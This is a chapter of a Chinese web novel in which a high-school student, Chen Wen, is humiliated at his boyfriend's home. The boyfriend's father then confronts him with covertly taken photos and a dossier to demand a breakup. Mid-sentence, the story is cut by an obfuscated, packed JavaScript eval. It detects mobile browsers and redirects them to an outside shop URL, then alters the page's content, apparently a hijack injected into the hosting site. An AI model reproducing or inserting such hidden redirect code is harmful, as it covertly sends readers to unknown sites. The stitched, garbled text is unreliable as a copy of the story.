汽车平稳地驶向沈家所在的别墅区。
天空已经不再明亮,而是泛起了一层浅浅的、灰蓝色的鱼肚白,几团浓重的乌云慢悠悠地飘过。
车子停在庭院外,两人下车,走到门前。沈泽许抬手按响了门铃。
没过多久,门开了。站在门内的,正是沈泽许的母亲——白千月。
她穿着一身舒适的家居服,脸上带着笑容,但在看到门外并肩站着的两人时,那笑容里似乎飞快地掠过一丝混合着惊讶和某种复杂情绪的怔忡。
“怎么现在来了?”她开口问道,语气依然热情,侧身让开门口,“快进屋,外面好像要下雨了。”
这话说得……有点微妙。
明明是她发消息邀请陈温来吃饭的,此刻的语气却像是没料到他们会在这个时间出现。
不过白千月的态度一如既往的热情周到,那份瞬间的异样很快被掩盖,陈温也没多想,只当是长辈随口一句家常的询问。
门口鞋柜旁,整齐地摆着家常拖鞋,但唯独不见为客人准备的一次性拖鞋。
“呀,”白千月拍了下手,露出一点懊恼的神色,“可能是家里的阿姨忘记买新的了。没事,小温,你就穿这些拖鞋进来吧,别客气,晚上会拖地的。”
“麻烦阿姨了。”陈温连忙说。
“不麻烦不麻烦,快进来吧,外面热。”白千月热情地招呼着。
走进客厅,凉爽的空调风迎面而来。
客厅的沙发上,坐着一个男人。他姿态放松地翘着二郎腿,双腿修长笔直,手里端着一杯红茶,目光落在正在电视里播放的新闻联播上,侧脸轮廓分明,眉眼间与沈泽许有七八分相似,只是气质带着一种久居上位的疏离感——是沈泽许的父亲。
一下子要同时面对两位家长,尤其是这位看起来就不好接近的沈父,陈温心里不由得紧了一下。
他下意识地看向白千月,却发现白阿姨仿佛完全没有注意到沙发上的人,她的视线始终落在陈温和沈泽许身上,脚步也径直引着他们往里走,头也不往客厅方向偏一下。
“妈,我们先上去了。”沈泽许换好鞋,语气平淡地对白千月说,目光同样没有投向沙发。他似乎也……不想看到客厅里的那个人。
“好,好。”白千月连声应着,笑容依旧,“你们先上去休息会儿,聊聊天。饭做好了叫你们下来,一定得吃顿热乎的再回去啊。”
沈明远在陈温经过客厅时,似乎不经意地抬了一下眉梢,目光与陈温的视线短暂地交汇了一瞬。
那眼神谈不上严厉,却像某种精密仪器扫过,评估着什么,仿佛发现了值得注意的猎物,让人心底隐隐生出几分不安。
陈温赶紧移开视线,跟着沈泽许快步上了楼。
又回到了沈泽许的房间,这个他们曾发生过“不可描述”事情的空间。
记忆随着熟悉的摆设和气息扑面而来,陈温脸上不禁有些发热。他甩甩头,试图驱散那些让人心跳加速的画面。
两人没什么形象地倒在柔软的大床上,盯着天花板上简洁的吊灯。
过了一会儿,陈温翻了个身,钻进沈泽许怀里,手臂环住他紧实的腰,把脸埋在他肩窝处,无意识地嘟囔了一句:“好累啊……”
“嗯,快高考了,没办法。”沈泽许的声音从头顶传来,一只手轻轻揽住他,另一只手有一下没一下地抚摸着陈温柔软的发丝,像是在给一只累坏了的小动物顺毛。
过了一会儿,他问:“想好去什么学校了没有?”
陈温被摸得舒服,脑子也有些放空。
听到这个问题,他沉默了一会儿——陈林峰的态度很明确,不希望他去外地,最好就在省内读大学,说是为了方便照应。
他和沈泽许的成绩都够得上一流大学,但要在省内找一个两人都能上、条件又都不错的……
“中山大学吧。”
陈温说出“中山大学”时,心里其实没什么底。他的成绩不算拔尖,在年级里属于中上,波动很大,好的时候能挤进前列,发挥失常时又会掉下去不少。
高考这种一锤定音的考试,变数太大。
“你觉得呢?”他问。
沈泽许没有犹豫地说:“你去哪,我就去哪。”
他似乎也清楚陈温成绩的起伏,没有说什么不切实际的鼓励,平静地分析道:“一起考进中山大学概率是有些小,但不是完全没有可能。”
这话听起来像句废话,但出自沈泽许之口,却带着一种基于事实的判断意味。他没有否定陈温的目标,也没有盲目乐观。
“最后这两个月,重点补一下你的薄弱科目,尤其是英语作文,提分空间还很大。”沈泽许的声音在头顶响起,条理清晰,像是在制定一个攻坚计划,“英语和理综保持稳定,尽量少失误。模拟考的排名参考价值有限,别太被它影响心态。”
陈温在他怀里点了点头,鼻尖蹭到柔软的棉质T恤。
是啊,概率小,不代表为零。还有时间,还能努力。
没待多久,白千月就喊他俩下来吃饭。
两人应声下楼。餐厅里,长长的餐桌上已经摆满了各色家常菜肴,热气腾腾,香气扑鼻,有清蒸鱼、糖醋排骨、蒜蓉菜心、玉米排骨汤……看得出白千月确实用心准备了一番。
四张餐椅被分别摆在了餐桌的四方。
陈温先去厨房旁边的洗手台洗手,等他擦干手回到餐厅时,发现外面的三张椅子已经都坐了人——白千月坐在靠厨房一侧的主位,沈泽许坐在她右手边,而沈明远,不知何时已经从客厅移步过来,端坐在白千月的正对面,也就是餐桌的另一端主位。
只剩下白千月左手边,也就是最里面的那张椅子还空着。
刚在椅子上坐下没多久,甚至还没来得及动筷子,陈温就感觉到臀部传来一阵突兀的湿意,迅速渗透了薄薄的夏季校裤和内裤。
他身体一僵,低头看去——椅面赫然有一大片不明显的水渍!因为椅子颜色深,刚才光线又有些暗,他根本没仔细看就坐了下去。
现在,裤子连带里面的内裤都湿透了,紧紧贴在皮肤上,又湿又冰,极其难受。
他无助地抬起头,正对上白千月的目光。她已经夹了像小山那么高的菜堆在陈温碗里,此刻又夹了一块她做的糖醋排骨,正要往陈温碗里放。
扫见陈温眉头紧锁,明显不舒服的样子,她停下动作,语气关切地问:“怎么了吗,小温?是菜不合胃口吗?”
沈泽许也看向他。
从进来到现在,是个正常人,都会觉得自己被刻意针对、被恶搞了。
陈温的心一点点沉下去,他几乎在一瞬间就确定了“凶手”是谁。
但他不明白。真的不明白。对方为什么要用这种上不了台面的方式刁难自己?难道是因为……
陈温用力掐了一下自己的掌心,剧痛让他勉强维持住表面的镇定。他强迫自己松开眉头,尽量让自己的声音听起来平稳无异样,对着两人摇了摇头:
“没事。菜很好吃,可能是因为考试……有点累了。”
晚饭期间,沈泽许和白千月轮流给他夹菜,菜式没有一样是他不爱吃的。可陈温就是没胃口,味同嚼蜡。
但他还是勉强自己,将碗里堆成两人的“爱心投喂”都吃了下去,不想辜负他们的热情,更不想流露出任何异样。
好不容易熬到吃完饭,沈泽许起身主动收拾碗筷,陈温还僵硬地坐在原地。
黏腻感依旧折磨着他,他感觉自己快坐不住了。他抬起头,问:“你们家厕所在哪里?我有点急。”
“在走廊最里面那间。”沈泽许指了个方向,看了他一眼,“要我带你去吗?”
“嗯,不用,我自己去!”陈温几乎是立刻拒绝。
说完,他强作镇定地起身,尽量不让动作显得怪异,然后几乎是逃也似的朝那个方向小跑过去。
他低着头,不敢看任何人的表情,生怕被人看出裤子上的水渍,或者自己脸上掩饰不住的窘迫。
“砰!”
一声不算太响的关门声传来,浴室门暂时隔绝了外面那个让他如坐针毡的世界。
陈温背靠着门板,长长地吐出一口气,一直强撑着的肩膀瞬间垮了下来。
他这才有勇气抬眼,看向洗手台那面宽大明亮的梳妆镜。
镜子里清晰地映出一张年轻却写满了委屈和困惑的脸,眉头紧锁,嘴角无力地下垂——活脱脱一张苦瓜脸。
男生艰难地起身。裤子经过一段时间的浸泡,紧贴在皮肤上,皱巴巴的,非常不舒服。
环顾四周,陈温想找找看有没有吹风机之类的工具,能把裤子稍微吹干一点,至少不那么难受。
目光扫过洗手台下方的储物柜,又看了看墙上的置物架。
忽然,他的视线被洗漱台上的一样东西牢牢吸引了——那里整整齐齐摆放着一沓照片,正面朝上,摆放得十分显眼又刻意,就像是……专门放在那里,等着他发现的。
陈温确实拿起来看了。
看清照片画面的瞬间,他整个人都在发抖。
一张又一张,看完后背后渗出冷汗,抑制不住地颤栗——是一沓他和沈泽许的照片。
但准确来说是他的照片,因为照片里沈泽许始终是一个背影,或者面部被遮挡的状态。
照片的拍摄角度有的清晰,有的模糊,像是偷拍,又像是经过某种筛选。但无一例外,都是两人亲密、暧昧的照片。
拥抱,接吻,牵手……什么都有。
再抬头时,只见镜子内的小人,整张脸失去血色,眼睛里布满血丝。
他现在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172004|196843||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
狼狈的与待宰的羔羊别无差别。
门把转动。
猎人出现。
那人关上门并反锁,靠在刚刚陈温靠过的地方,点燃一支香烟。
“你也看到了吧。”男人开口道。
陈温握紧了拳头,慢慢抬起头,用困惑而无辜的语气说:“沈叔叔,您在说什么?我怎么没有听懂。”
“别装了。”沈明远吐出一口烟,烟雾缭绕中,他的眼神锐利如鹰隼,“我知道你们的关系。”
伪装被彻底戳破。陈温的心沉到了谷底,但他没有立刻崩溃,反而生出一股破罐子破摔的勇气。
他盯着沈明远,极力克制自己:“既然您都知道了,演这一出又是何意味?”
陈温指的是椅子上的水,和这些故意摆放的照片。
沈明远没有回答,只是又深深吸了一口烟,然后将烟雾缓缓吐出。
二手烟直直地朝着陈温飘去,呛入他的鼻腔和喉咙。陈温不受控制地咳嗽了几声,脸色更加苍白。
过了几秒钟令人窒息的沉默,沈明远才用他那不带任何情绪的语调说道:“那条消息是我发的。让你过来,就是为了告诉你,你俩必须断开。”
陈温心头猛地一缩。果然。不是白阿姨想他,是这位父亲精心策划的“鸿门宴”。
他没有回应这个“必须断开”的命令,反而抬起眼,说:“您这样……白阿姨会生气的。”
“生不生气跟你有什么关系。”沈明远用的是陈述句,语气平淡——这是在明确地划清界限:这是沈家的家事,轮不到你一个外人、一个“带坏”他儿子的人来置喙,更与你无关。
“不分。”陈温斩钉截铁道,“我们暂时没有分手的打算,以后也不会。”
“哦,是吗?”沈明远嗤笑一声,手指一弹,烟灰簌簌落下,“真是够顽强的,不见棺材不落泪。自己看。”
一沓文件被男人随手甩了过来,纸张发出“哗啦”的轻响。
陈温的手抖得厉害,几乎要握不住那文件。他深吸一口气,强迫自己翻开。
第一页,是他的家庭信息。有陈林峰的、慕雪的,甚至还有……廖淑琴的。
资料详细得可怕,包括职业、大致收入、甚至一些模糊的过往记录。
陈温只觉得一股寒意从脚底直冲头顶。直到最后一页——
那是一张打印出来的手机截图,来源似乎是他们学校的校园墙。
一条匿名的发言,标题触目惊心:「惊!年级第一竟与转学生关系不一般,男男激情在厕所搞基……」
配图光线昏暗,背景是学校的男厕。
画面里,两个身影紧密相贴——是元旦晚会那晚,他环住沈泽许腰的那一刻,两人的轮廓和拥抱的姿势清晰可辨……
原来不是幻觉。
当时那一声,确确实实是快门声!像毒蛇潜行于暗处,吐出了信子。
是谁?是谁拍的?又是谁发的?他怎么从来没有在校园里看到或听说过这条帖子?这是什么时候的事?
沈明远似乎很欣赏他脸上血色褪尽、瞳孔骤缩的模样,不急不缓地解答了他的疑惑:
“这条发文是前几个月的,我这边的人发现后,不到一分钟内就举报处理掉了,没让这事扩散开。”
他弹了弹烟灰,继续道:“不过,发文那人挺执着。举报一个,他又发一个,换了十几个小号,发了十几遍。发现确实没用后,才消停了。”
陈温抿起唇,下意识地想辩解:“我们……没有干那种事。何必心虚……”
“你们之间有没有干过,”沈明远打断他,目光如冰冷,“我不清楚。但人们只会听自己想听的,看自己想看的。黑白对错,他们在意吗?”
男人向前微微倾身,吐出的字句带着一种看透世情的冷酷,“他们只会觉得‘有趣’,像闻到腥味的苍蝇,从四面八方围拢过来,把这块‘肉’啃食殆尽,嚼烂了,吐出来,还要踩上几脚。”
他盯着陈温越来越苍白的脸,抛出了最关键、也是最残忍的问题:
“如果不是我及时拦下,”他刻意停顿,“你能保证沈泽许不会受到那些误解、谣言、恶意的伤害吗?你能保护得了他吗?”
陈温张了张嘴,喉咙却像被什么堵住了,发不出任何声音。
保护沈泽许?他拿什么保护?面对这种恶意的帖子、汹涌的舆论……他一个普通学生,除了愤怒和无力,还能做什么?他暂时没有想出来。
沈明远瞧他无言以对的样子,重新靠回门板,下了最终判决:
“你什么都做不到。”
“你和他,本来就是两个世界的人。俗话说,就是——”
男人放缓了语速,每个字都像淬了毒的针,狠狠扎进陈温的心脏。
“——癞蛤蟆想吃天鹅肉。”